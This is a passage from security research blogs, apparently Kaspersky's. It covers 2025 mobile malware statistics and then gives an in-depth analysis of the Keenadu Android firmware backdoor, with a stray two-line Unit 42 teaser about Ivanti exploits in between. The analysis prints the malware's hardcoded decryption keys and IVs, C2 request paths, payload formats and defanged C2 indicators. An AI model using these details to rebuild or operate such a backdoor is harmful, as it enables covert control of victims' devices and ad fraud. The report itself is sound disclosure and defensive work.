Trojan-Banker.AndroidOS.Coper.a	Türkiye	95.74
Trojan-Dropper.AndroidOS.Hqwar.bj	Türkiye	94.96
Trojan.AndroidOS.Thamera.bb	India	94.71
Trojan-Proxy.AndroidOS.Agent.q	Germany	93.70
Trojan-Banker.AndroidOS.Coper.c	Türkiye	93.42
Trojan-Banker.AndroidOS.Rewardsteal.lv	India	92.44
Trojan-Banker.AndroidOS.Rewardsteal.jp	India	92.31
Trojan-Banker.AndroidOS.Rewardsteal.ib	India	91.91
Trojan-Dropper.AndroidOS.Rewardsteal.h	India	91.45
Trojan-Banker.AndroidOS.Rewardsteal.nk	India	90.98
Trojan-Dropper.AndroidOS.Agent.sm	Türkiye	90.34
Trojan-Dropper.AndroidOS.Rewardsteal.ac	India	89.38
Trojan-Banker.AndroidOS.Rewardsteal.oa	India	89.18
Trojan-Banker.AndroidOS.Rewardsteal.ma	India	88.58
Trojan-Spy.AndroidOS.SmForw.ko	India	88.48
Trojan-Dropper.AndroidOS.Pylcasa.c	Brazil	88.25
Trojan-Dropper.AndroidOS.Hqwar.bf	Türkiye	88.15
Trojan-Banker.AndroidOS.Agent.pp	India	87.85

* Country where the malware was most active.
** Unique users who encountered the malware in the indicated country as a percentage of all users of Kaspersky mobile solutions who were attacked by the same malware.

Türkiye saw the highest concentration of attacks from Coper banking Trojans and their associated Hqwar droppers. In India, Rewardsteal Trojans continued to proliferate, exfiltrating victims’ payment data under the guise of monetary giveaways. Additionally, India saw a resurgence of the Thamera Trojan, which we previously observed frequently attacking users in 2023. This malware hijacks the victim’s device to illicitly register social media accounts.

The Trojan-Proxy.AndroidOS.Agent.q campaign, concentrated in Germany, utilized a compromised third-party application designed for tracking discounts at a major German retail chain. Attackers monetized these infections through unauthorized use of the victims’ devices as residential proxies.

In Brazil, 2025 saw a concentration of Pylcasa Trojan attacks. This malware is primarily used to redirect users to phishing pages or illicit online casino sites.

Mobile banking Trojans

The number of new banking Trojan installation packages surged to 255,090, representing a several-fold increase over previous years.

Mobile banking Trojan installation packages detected by Kaspersky in 2022–2025 (download)

Notably, the total number of attacks involving bankers grew by 1.5 times, maintaining the same growth rate seen in the previous year. Given the sharp spike in the number of unique malicious packages, we can conclude that these attacks yield significant profit for cybercriminals. This is further evidenced by the fact that threat actors continue to diversify their delivery channels and accelerate the production of new variants in an effort to evade detection by security solutions.

TOP 10 mobile bankers

Verdict	% 2024*	% 2025*	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.da	0.86	15.65	+14.79	+28
Trojan-Banker.AndroidOS.Mamont.db	0.12	13.41	+13.29
Trojan-Banker.AndroidOS.Coper.c	7.19	9.65	+2.46	+2
Trojan-Banker.AndroidOS.Mamont.bc	10.03	6.26	–3.77	–3
Trojan-Banker.AndroidOS.Mamont.ev	0.00	4.10	+4.10
Trojan-Banker.AndroidOS.Coper.a	9.04	4.00	–5.04	–4
Trojan-Banker.AndroidOS.Mamont.ek	0.00	3.73	+3.73
Trojan-Banker.AndroidOS.Mamont.cb	0.64	3.04	+2.40	+26
Trojan-Banker.AndroidOS.Faketoken.pac	2.17	2.95	+0.77	+5
Trojan-Banker.AndroidOS.Mamont.hi	0.00	2.75	+2.75

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile solutions who encountered banking threats.

In 2025, we observed a massive surge in activity from Mamont banking Trojans. They accounted for approximately half of all new apps in their category and also were utilized in half of all banking Trojan attacks.

Conclusion

The year 2025 saw a continuing trend toward a decline in total unique unwanted software installation packages. However, we noted a significant year-over-year increase in specific threats – most notably mobile banking Trojans and spyware – even though adware remained the most frequently detected threat overall.

Among the mobile threats detected, we have seen an increased prevalence of preinstalled backdoors, such as Triada and Keenadu. Consistent with last year’s findings, certain mobile malware families continue to proliferate via official app stores. Finally, we have observed a growing interest among threat actors in leveraging compromised devices as proxies.

We discuss widespread exploitation of Ivanti EPMM zero-day vulns CVE-2026-1281 and CVE-2026-1340. Attackers are deploying web shells and backdoors.

The post Critical Vulnerabilities in Ivanti EPMM Exploited appeared first on Unit 42.

In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.

This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.

Our findings can be summarized as follows:

• We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
• A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
• We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
• One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
• In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
• Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.

The complete Keenadu infection chain looks like this:

Kaspersky solutions detect the threats described below with the following verdicts:

HEUR:Backdoor.AndroidOS.Keenadu.*
HEUR:Trojan-Downloader.AndroidOS.Keenadu.*
HEUR:Trojan-Clicker.AndroidOS.Keenadu.*
HEUR:Trojan-Spy.AndroidOS.Keenadu.*
HEUR:Trojan.AndroidOS.Keenadu.*
HEUR:Trojan-Dropper.AndroidOS.Gegu.*

Malicious dropper in libandroid_runtime.so

At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:

The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where “ak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.

The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.

Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.

The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.

The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:

It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.

AKClient architecture

AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.

AKServer architecture

At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:

• Grant any permission to an arbitrary app on the device.
• Revoke any permission from an arbitrary app on the device.
• Retrieve the device’s geolocation.
• Exfiltrate device information.

Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:

1. The encrypted address string is decoded using Base64.
2. The resulting data, a gzip-compressed buffer, is then decompressed.
3. The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".

After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:

• m: the MD5 hash of the device IMEI
• n: the network connection type (“w” for Wi-Fi, and “m” for mobile data)

The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.

How Keenadu compromised libandroid_runtime.so

After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.

The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:

• 67.198.232[.]4
• 67.198.232[.]187

The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.

To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparse code); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.

We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.

Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The “NFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.

During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.

Furthermore, we have found a static library, libVndxUtils.a (MD5: ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:

• D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
• D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.

The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.

According to our data, the malicious dependency was located within the firmware source code repository at the following paths:

• vendor/mediatek/proprietary/external/libutils/arm/libVndxUtils.a
• vendor/mediatek/proprietary/external/libutils/arm64/libVndxUtils.a

Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate “vndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.

Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.

Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.

Keenadu backdoor modules

As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.

The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.

Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):

struct KeenaduChunk {
    uint32_t size;
    uint8_t data[size];
} __packed;

struct KeenaduPayload {
    int32_t version;
    uint8_t padding[0x100];
    uint8_t salt[0x20];
    KeenaduChunk config;
    KeenaduChunk payload;
    KeenaduChunk signature;
} __packed;

After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".

The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.

{
    "stopMethod": "stop",
    "startMethod": "start",
    "pluginId": "com.ak.p.wp",
    "service": "1",
    "cn": "com.ak.p.d.MainApi",
    "m_uninit": "stop",
    "version": "3117",
    "clazzName": "com.ak.p.d.MainApi",
    "m_init": "start"
}

Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.

Keenadu loader

This module (MD5: 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:

• com.amazon.mShop.android.shopping (Amazon)
• com.zzkko (SHEIN)
• com.einnovation.temu (Temu)

The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServer requests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.

In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.

Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.

Clicker loader

These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:

• Wallpaper (com.android.wallpaper)
• YouTube (com.google.android.youtube)
• Facebook (com.facebook.katana)
• Digital Wellbeing (com.google.android.apps.wellbeing)
• System launcher (com.android.launcher3)

Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:

struct Payload {
    uint8_t magic[10]; // == "encrypttag"
    uint8_t keyLen;
    uint8_t xorKey[keyLen];
    uint8_t payload[];
} __packed;

The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.

In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.

Google Chrome module

This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.

If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.

It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.

The Nova (Phantom) clicker

The initial version of this module (MD5: f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.

It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.

Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:

• The Nova clicker.
• A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
• The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.

Install monetization

A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.

Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.

When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.

For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.

Google Play module

Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.

Other Keenadu distribution vectors

During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.

System apps

According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5: d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.

Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.

The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.

This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.

In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5: 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.

We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5: d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.

Loading via other backdoors

While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5: f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:

• com.androidextlib.sloth.api.IPServiceM
• com.androidextlib.sloth.api.IPermissionsM

These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5: 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.

The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.

Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.

Modifications of popular apps

Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.

Google Play

Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.

Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.

The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected

After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.

In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5: 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.

The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".

After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5: caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.

These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.

Victims

According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.

Recommendations

Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.

If the libandroid_runtime.so library is infected

Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.

If you encounter the Keenadu backdoor, we recommend the following:

• Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
• If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
• Until the firmware is replaced or updated, we recommend that you stop using the infected device.

If one of the system apps is infected

Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:

1. Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
2. Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.

If an infected app has been installed on the device

This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.

Conclusion

Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.

Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.

Indicators of compromise

